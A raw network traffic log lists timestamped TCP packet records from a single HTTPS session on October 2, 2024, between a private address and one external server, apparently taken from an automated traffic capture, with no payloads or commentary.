Oct 2, 2024 06:10:24.741178989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.741193056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.741605043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.741619110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.741667986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.741673946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.741710901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.748756886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.748774052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.748874903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.748882055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.748969078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.749874115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.749888897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.749963045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.749969006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.750030041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.750332117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.750348091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.750395060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.750401020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.750446081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.827212095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.827229977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.827277899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.827291012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.827307940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.827337027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.830183983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.830200911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.830230951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.830235004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.830262899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.830277920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.830632925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.830647945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.830703020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.830708981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.830746889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.831907034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.831922054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.831963062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.831969023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.832000017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.832020044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.832437992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.832453012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.832487106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.832492113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.832520962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.832540989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.839657068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.839670897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.839718103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.839723110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.839742899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.839757919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.840667963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.840682030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.840706110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.840743065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.840747118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.840792894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.841150045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.841165066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.841212988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.841217995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.841258049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.917808056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.917824984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.917891026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.917902946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.917942047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.920995951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.921015024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.921097994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.921103954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.921145916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.921458960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.921474934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.921524048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.921528101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.921561956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.922780991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.922796965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.922840118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.922844887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.922873020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.922885895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.923538923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.923552990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.923598051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.923604012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.923635960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.930324078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.930340052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.930392027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.930396080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.930424929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.930438042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.931323051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.931338072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.931402922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.931406975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.931444883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.008189917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.008209944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.008279085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.008291006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.008335114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.010060072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.010073900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.010133028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.010138035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.010171890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.011780977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.011799097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.011892080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.011898041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.011929989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.012300968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.012316942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.012366056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.012371063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.012412071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.013448954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.013467073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.013520956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.013526917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.013566017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.014384031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.014400005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.014455080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.014460087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.014501095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.021155119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.021172047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.021234035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.021239042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.021296978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.022046089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.022061110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.022113085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.022119045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.022157907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.098905087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.098942041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.098994017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.099009991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.099035025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.099060059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.100743055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.100759029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.100802898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.100809097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.100833893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.100852013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.102586031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.102601051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.102654934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.102660894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.102694035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.103041887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.103056908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.103099108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.103106976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.103146076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.104324102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.104340076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.104383945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.104387999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.104428053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.104983091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.104996920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.105031967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.105036974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.105062008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.105079889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.111779928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.111797094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.111881971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.111887932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.111931086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.112807989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.112826109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.112978935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.112983942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.113029003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.189541101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.189562082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.189614058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.189625978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.189635992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.189671040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.191366911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.191390038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.191421986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.191427946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.191452026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.191473961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.193118095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.193134069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.193176985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.193182945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.193216085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.193233967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.193650961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.193666935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.193717003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.193722010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.193752050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.193758965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.194950104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.194964886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.195007086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.195012093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.195041895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.195693016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.195713997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.195728064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.195733070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.195755005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.195785046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.202544928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.202568054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.202613115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.202626944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.202656984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.203362942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.203381062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.203421116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.203428030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.203439951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.203471899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.292707920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.292726994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.292809010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.292821884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.293139935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.293598890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.293617964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.293679953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.293684959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.293807983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.297377110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.297391891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.297441959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.297447920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.297566891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.298144102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.298160076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.298202038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.298207998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.298322916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.300636053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.300649881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.300702095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.300709009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.300909996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.301079988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.301095963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.301148891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.301152945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.301274061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.309983969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.309998989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.310085058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.310096025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.310123920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.310142994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.310460091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.310481071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.310509920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.310513973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.310539961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.310559988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.383707047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.383719921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.383805037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.383811951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.384166956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.384676933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.384689093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.384754896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.384759903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.384949923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.387896061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.387917042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.387965918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.387970924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.388760090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.388778925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.388834000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.388839960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.389611006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.391333103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.391346931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.391405106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.391410112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.391438961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.391468048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.391716003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.391731977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.391774893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.391779900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.392335892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.400629044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.400645971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.400729895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.400736094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.400748014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.400883913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.401047945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.401065111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.401128054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.401133060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.401170969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.474191904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.474209070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.474260092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.474271059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.474293947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.474302053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.475349903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.475366116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.475413084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.475419998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.475670099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.478610992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.478626013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.478698969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:25.478703022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:25.478872061 CEST	49744	443	192.168.2.4	167.114.14.168
